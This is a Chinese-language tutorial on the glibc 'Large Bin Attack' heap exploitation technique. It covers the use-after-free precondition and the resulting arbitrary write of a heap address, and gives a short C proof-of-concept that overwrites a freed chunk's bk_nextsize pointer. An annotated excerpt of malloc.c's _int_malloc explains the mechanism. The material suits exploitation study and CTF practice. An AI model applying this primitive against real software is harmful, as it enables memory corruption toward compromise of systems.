HeapAttack: LargeBin Attack

1. 漏洞样式

  • 漏洞要求:Write After Free
  • chunk大小:可申请 large bin(即size>=0x400)

2. 利用方法

2.1 攻击效果

在unsorted-bin chunk被sort进large-bin时,触发任意地址写, 可以往任意地址中写入一个不可控的未知大数 (实际为某堆地址)。
实现以下目的:

  • 修改循环次数
  • 修改global_max_fast 或arena->max_fast的值,从而把size>0x80的chunk分配到fastbin中;或者在目标二进制使用mallopt(M_MXFAST,0)禁用fastbin后,重新启用
  • 修改能够输出的变量,从而泄露堆地址

2.2 过程简述

假设堆状态如下:

unsorted-bin: A(0x400)
large-bin: 
0x400: B(0x410) 

B 存在Write After Free, 则修改 B->bk_nextsize目标地址(target)
触发A加入到large-bin链表中,则会导致 A->bk_nextsize = B->bk_nextsize; A->bk_nextsize->fd_nextsize = Btarget->fd_nextsize = A

unsorted-bin: 
large-bin:
0x400: B(0x410) -> A(0x400) [A插入时触发攻击]

2.3 代码表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static uint64_t target; //假设需要被更改值的目标地址
int attack(){
void* A, * B, * C;

A = malloc(0x400 - 8); //A小
malloc(0x18);
B = malloc(0x410 - 8); //B大
malloc(0x18);

free(B);
// unsortedbin: B
// largebin: empty

malloc(0x600);
// unsortedbin: empty
// largebin: 0x400: B(0x410)

free(A);
// unsortedbin: A
// largebin: 0x400: B(0x410)

* ( uint64_t * )(B + 0x18) = ( uint64_t ) ( &target ) - 0x20
//edit: B->bk_nextsize = target_over && let: target_over->fd_nextsize = target

malloc(0x600);
// unsortedbin: empty
// largebin: 0x400: B(0x410)->A(0x400) {触发:A->bk_nextsize->fd_nextsize = A}
}

3. 原理分析

在glibc项目malloc.c文件_int_malloc函数中:
在chunk被从unsortedbin中sort下来之后的代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
. . . 
/* place chunk in bin */
//// 若smallbin范围
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else ////若在largebin范围
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
//// largebin:: [bck]: fwd
/* maintain large bins in sorted order * /
if (fwd != bck) //// largebin不为空
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)) ////确认victim为最小,因此插入到链表最后
{
fwd = bck;
bck = bck->bk;
//// largebin:: [fwd]: bck
//// 等同于2节例子中:[av]: B

victim->fd_nextsize = fwd->fd; ////fwd->fd 即为bck,也就是例子里的B
victim->bk_nextsize = fwd->fd->bk_nextsize; //// 因此victim->bk_nextsize = bck->bk_nextsize (即A->bk_nextsize = B->bk_nextsize)
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
////即bck->bk_nextsize = bck->bk_nextsize->fd_nextsize = victim
////即例子:B->bk_nextsize = B->bk_nextsize->fd_nextsize = A
////==> largebin attack的精髓即:B->bk_nextsize->fd_nextsize = A,
////==> 而它通过两步计算得到:victim->bk_nextsize = fwd->fd->bk_nextsize; 和 victim->bk_nextsize->fd_nextsize = victim;
}

参考

heap_exploit_2.31/largebin_attack.c